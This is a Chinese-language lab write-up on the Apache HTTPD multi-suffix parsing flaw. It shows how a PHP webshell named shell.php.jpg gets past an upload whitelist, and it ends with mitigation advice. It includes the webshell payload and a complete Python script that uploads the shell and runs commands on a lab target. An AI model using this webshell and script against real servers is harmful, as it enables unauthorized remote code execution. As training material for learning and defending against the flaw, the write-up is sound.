Apache HTTPD 多后缀解析漏洞利用总结

漏洞信息

项目 内容
漏洞名称 Apache HTTPD 多后缀解析漏洞
影响版本 Apache HTTPD(配置 AddHandler 时通用)
靶场版本 Apache HTTPD + PHP 7.1.3
漏洞类型 文件上传绕过 / 解析漏洞
靶机地址 http://192.168.229.60

漏洞原理

Apache HTTPD 支持一个文件拥有多个后缀,处理时从左到右依次匹配后缀对应的处理器(Handler)。当配置中存在以下指令时:

复制代码
AddHandler application/x-httpd-php .php

Apache 只要在文件名中任意位置 检测到 .php 后缀,就会调用 PHP 处理器来执行该文件,无论文件最终的后缀是什么。

源码分析(mod_mime.c)

Apache 的 mod_mime 模块在处理多后缀文件时,核心逻辑位于 mod_mime.cap_mime_extension_matches() 或类似的扩展名匹配函数中。

关键流程:

  1. Apache 收到文件请求 → 从文件名中逐个提取后缀 (如 shell.php.jpg → 提取出 .php.jpg

  2. 每提取一个后缀,就在 AddHandler / AddType / AddCharset 等配置中查找匹配

  3. 如果任意后缀匹配到某个 Handler,则整个文件按照该 Handler 处理

简化伪代码逻辑:

复制代码
// mod_mime.c (简化的匹配逻辑)
char *ext = strrchr(filename, '.');
while (ext != NULL) {
    // 查找是否有 AddHandler 匹配此后缀
    handler = find_handler(ext);
    if (handler) {
        return handler;  // 一旦匹配就返回!不继续检查后续后缀
    }
    // 继续往前找下一个后缀
    *ext = '\0';  // 截断当前位置
    ext = strrchr(filename, '.');
}

由于 Apache 是按顺序逐个后缀匹配 ,遇到 .php 立即返回 PHP Handler,而 .jpg 作为最后一个后缀只是用于欺骗白名单检查。

漏洞利用链

复制代码
文件名: shell.php.jpg
         ↑      ↑
     PHP handler 仅用作白名单绕过
      (AddHandler匹配)  (pathinfo检查不通过)
  1. 上传白名单只检查最后一个后缀 .jpg

  2. Apache 解析时检测到 .php,以 PHP 执行 ✅

  3. 攻击者实现 RCE(远程代码执行)

攻击步骤

Step 1:访问上传页面

复制代码
http://192.168.229.60/

页面显示一个文件上传表单。

Step 2:构造恶意文件

创建 shell.php.jpg

复制代码
<?php
system($_GET['cmd']);
?>

或直接使用 phpinfo:

复制代码
<?php phpinfo(); ?>

Step 3:上传文件

通过表单上传 shell.php.jpg,预期返回:

复制代码
File uploaded successfully: /var/www/html/uploadfiles/shell.php.jpg

Step 4:访问上传文件触发执行

复制代码
http://192.168.229.60/uploadfiles/shell.php.jpg?cmd=id

预期返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 5:验证多后缀解析

也可以直接访问自带的测试文件:

复制代码
http://192.168.229.60/uploadfiles/apache.php.jpeg

该文件包含 phpinfo(),访问后可以看到 PHP 信息页面,说明 .jpeg 后缀的文件仍被作为 PHP 执行。

Python版完整利用脚本

复制代码
#!/usr/bin/env python3
import requests
import sys
​
TARGET = "http://192.168.229.60"
UPLOAD_URL = f"{TARGET}/"
SHELL_URL = f"{TARGET}/uploadfiles/shell.php.jpg"
​
def upload_shell():
    """上传 PHP webshell(多后缀绕过)"""
    payload = b'<?php system($_GET["cmd"]); ?>'
    files = {'file_upload': ('shell.php.jpg', payload, 'image/jpeg')}
    r = requests.post(UPLOAD_URL, files=files)
    print(f"[+] Upload: {r.text}")
    return "successfully" in r.text
​
def exec_cmd(cmd):
    """通过 webshell 执行命令"""
    r = requests.get(SHELL_URL, params={'cmd': cmd})
    return r.text.strip()
​
if __name__ == "__main__":
    if upload_shell():
        print("[+] Shell uploaded!")
        if len(sys.argv) > 1:
            print(exec_cmd(" ".join(sys.argv[1:])))
        else:
            print(exec_cmd("id"))
            print(exec_cmd("ls -la /var/www/html/"))
    else:
        print("[-] Upload failed")

关键要点总结

  • ✅ Apache AddHandler 会对文件名中任意位置匹配到的后缀生效

  • ✅ PHP 代码 pathinfo($name, PATHINFO_EXTENSION) 只取最后一个后缀做白名单校验

  • ✅ 上传 shell.php.jpg / shell.php.jpeg / shell.php.png 均可绕过

  • ✅ 该漏洞本质是Apache 配置不当,非 Apache 自身代码 bug

  • ✅ 修复方式:使用 AddType application/x-httpd-php .php 替代 AddHandler,或限制文件上传后重命名

  • ⚠️ Windows 下文件名后缀分隔符为 .,逻辑类似但可结合 ::$DATA 等 NTFS 流特性绕过